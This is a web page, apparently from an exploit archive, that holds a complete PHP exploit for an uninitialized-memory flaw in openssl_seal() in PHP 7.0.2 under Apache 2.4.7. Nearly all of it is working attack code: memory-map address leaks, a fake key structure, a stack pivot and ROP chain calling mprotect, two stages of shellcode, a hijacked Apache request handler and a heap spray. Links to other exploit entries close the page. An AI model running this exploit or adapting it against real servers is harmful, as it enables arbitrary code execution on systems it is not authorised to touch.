Apache 2.4.7 + PHP 7.0.2 – ‘openssl_seal()’ Uninitialized Memory Code Execution

<?php

// Source: http://akat1.pl/?id=1

function get_maps() {

$fh = fopen("/proc/self/maps", "r");

$maps = fread($fh, 331337);

fclose($fh);

return explode("\n", $maps);

}

function find_map($sym) {

$addr = 0;

foreach(get_maps() as $record)

if (strstr($record, $sym) && strstr($record, "r-xp")) {

$addr = hexdec(explode('-', $record)[0]);

break;

}

if ($addr == 0)

die("[-] can't find $sym base, you need an information leak :[");

return $addr;

}

function fill_buffer($offset, $content) {

global $buffer;

for ($i = 0; $i < strlen($content); $i++)

$buffer[$offset + $i] = $content[$i];

return;

}

$pre = get_maps();

$buffer = str_repeat("\x00", 0xff0000);

$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)

die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);

$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;

$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";

echo "[+] faking ASN @ 0x".dechex($addr)."\n";

fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");

echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */

$rop_addr = $libphp_base + 0x00000000004a79c3;

echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";

fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */

$rop_addr = $libphp_base + 0x000000000041d583;

fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");

echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;

$mprotect_addr = $libc_base + $mprotect_offset;

echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;

$mmap_addr = $libc_base + $mmap_offset;

echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");

echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;

$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;

echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;

$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;

echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";

$rop_chain =

pack('P', $libphp_base + 0x00000000000ea107) . // pop rdx ; ret

pack('P', 0x0000000000000007) . // rdx = 7

pack('P', $libphp_base + 0x00000000000e69bd) . // pop rsi ; ret

pack('P', 0x0000000000004000) . // rsi = 0x1000

pack('P', $libphp_base + 0x00000000000e5fd8) . // pop rdi ; ret

pack('P', $addr ^ ($addr & 0xffff)) . // rdi = page aligned addr

pack('P', $mprotect_addr) . // mprotect addr

pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1

fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .

"\x48\xb8" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax

"\x49\xb8" . pack('P', 0x1000) . // handler size

"\x48\xb9" . pack('P', $buffer_base + 0x3018) . // handler

"\x48\xba" . pack('P', $ap_hook_quick_handler_addr) . // movabs ap_hook_quick_handler, %rdx

"\x48\xbe" . pack('P', 0) . // UNUSED

"\x48\xbf" . pack('P', $mmap_addr) . // movabs mmap,%rdi

"\xff\xd0" . // callq %rax

"\xb8\x27\x00\x00\x00" . // mov $0x27,%eax - getpid syscall

"\x0f\x05" . // syscall

"\xbe\x1b\x00\x00\x00" . // mov $0xd,%esi - SIGPROF

"\x89\xc7" . // mov %eax,%edi - pid

"\xb8\x3e\x00\x00\x00" . // mov $0x3e,%eax - kill syscall

"\x0f\x05"; // syscall

fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .

"\x55" . // push %rbp

"\x48\x89\xe5" . // mov %rsp,%rbp

"\x48\x83\xec\x40" . // sub $0x40,%rsp

"\x48\x89\x7d\xe8" . // mov %rdi,-0x18(%rbp)

"\x48\x89\x75\xe0" . // mov %rsi,-0x20(%rbp)

"\x48\x89\x55\xd8" . // mov %rdx,-0x28(%rbp)

"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)

"\x4c\x89\x45\xc8" . // mov %r8,-0x38(%rbp)

"\x48\x8b\x45\xe8" . // mov -0x18(%rbp),%rax

"\x41\xb9\x00\x00\x00\x00" . // mov $0x0,%r9d

"\x41\xb8\xff\xff\xff\xff" . // mov $0xffffffff,%r8d

"\xb9\x22\x00\x00\x00" . // mov $0x22,%ecx

"\xba\x07\x00\x00\x00" . // mov $0x7,%edx

"\xbe\x00\x20\x00\x00" . // mov $0x2000,%esi

"\xbf\x00\x00\x00\x00" . // mov $0x0,%edi

"\xff\xd0" . // callq *%rax

"\x48\x89\x45\xf0" . // mov %rax,-0x10(%rbp)

"\x48\x8b\x45\xf0" . // mov -0x10(%rbp),%rax

"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)

"\xeb\x1d" . // jmp 0x40063d <shellcode+0x6d>

"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax

"\x48\x8d\x50\x01" . // lea 0x1(%rax),%rdx

"\x48\x89\x55\xf8" . // mov %rdx,-0x8(%rbp)

"\x48\x8b\x55\xd0" . // mov -0x30(%rbp),%rdx

"\x48\x8d\x4a\x01" . // lea 0x1(%rdx),%rcx

"\x48\x89\x4d\xd0" . // mov %rcx,-0x30(%rbp)

"\x0f\xb6\x12" . // movzbl (%rdx),%edx

"\x88\x10" . // mov %dl,(%rax)

"\x48\x8b\x45\xc8" . // mov -0x38(%rbp),%rax

"\x48\x8d\x50\xff" . // lea -0x1(%rax),%rdx

"\x48\x89\x55\xc8" . // mov %rdx,-0x38(%rbp)

"\x48\x85\xc0" . // test %rax,%rax

"\x75\xd2" . // jne 0x400620 <shellcode+0x50>

"\x48\x8b\x7d\xf0" . // mov -0x10(%rbp),%rdi

"\x48\x8b\x45\xd8" . // mov -0x28(%rbp),%rax

"\xb9\xf6\xff\xff\xff" . // mov $0xfffffff6,%ecx

"\xba\x00\x00\x00\x00" . // mov $0x0,%edx

"\xbe\x00\x00\x00\x00" . // mov $0x0,%esi

"\xff\xd0" . // callq *%rax

"\xc9" . // leaveq

"\xc3"; // retq

fill_buffer(0x2000, $shellcode_stage2);

$handler =

"\x55" . // push %rbp

"\x48\x89\xe5" . // mov %rsp,%rbp

"\x48\x83\xec\x30" . // sub $0x30,%rsp

"\x48\x89\x7d\xd8" . // mov %rdi,-0x28(%rbp)

"\x48\xb8" . pack('P', $ap_rprintf_addr) . // movabs $0xdeadbabefeedcafe,%rax

"\x48\x89\x45\xf8" . // mov %rax,-0x8(%rbp)

"\x48\xb8" . "Hello Wo" . // movabs CONTENT,%rax

"\x48\x89\x45\xe0" . // mov %rax,-0x20(%rbp)

"\x48\xb8" . "rld!\n\x00\x00\x00" . // movabs CONTENT,%rax

"\x48\x89\x45\xe8" . // mov %rax,-0x20(%rbp)

"\x48\x8d\x4d\xe0" . // lea -0x20(%rbp),%rcx

"\x48\x8b\x55\xd8" . // mov -0x28(%rbp),%rdx

"\x48\x8b\x45\xf8" . // mov -0x8(%rbp),%rax

"\x48\x89\xce" . // mov %rcx,%rsi

"\x48\x89\xd7" . // mov %rdx,%rdi

"\xff\xd0" . // callq *%rax

"\xb8\x00\x00\x00\x00" . // mov $0x0,%eax

"\xc9" . // leaveq

"\xc3"; // retq

fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);

$memory = str_repeat($addr,321);

$pem = "

-----BEGIN PUBLIC KEY-----

MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==

-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);

/* place valid keys at the beginning */

$k = openssl_pkey_get_public($pem);

$a[0] = $k; $a[1] = $k; $a[2] = $k;

echo "[+] spraying heap\n";

$x = array();

for ($i = 0 ; $i < 20000 ; $i++) {

$x[$i] = str_repeat($memory, 1);

}

for ($i = 0 ; $i < 20000 ; $i++) {

unset($x[$i]);

}

unset($x);

echo "[+] triggering openssl_seal()...\n";

@openssl_seal($_, $_, $_, $a);

echo "[-] failed ;[\n";

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow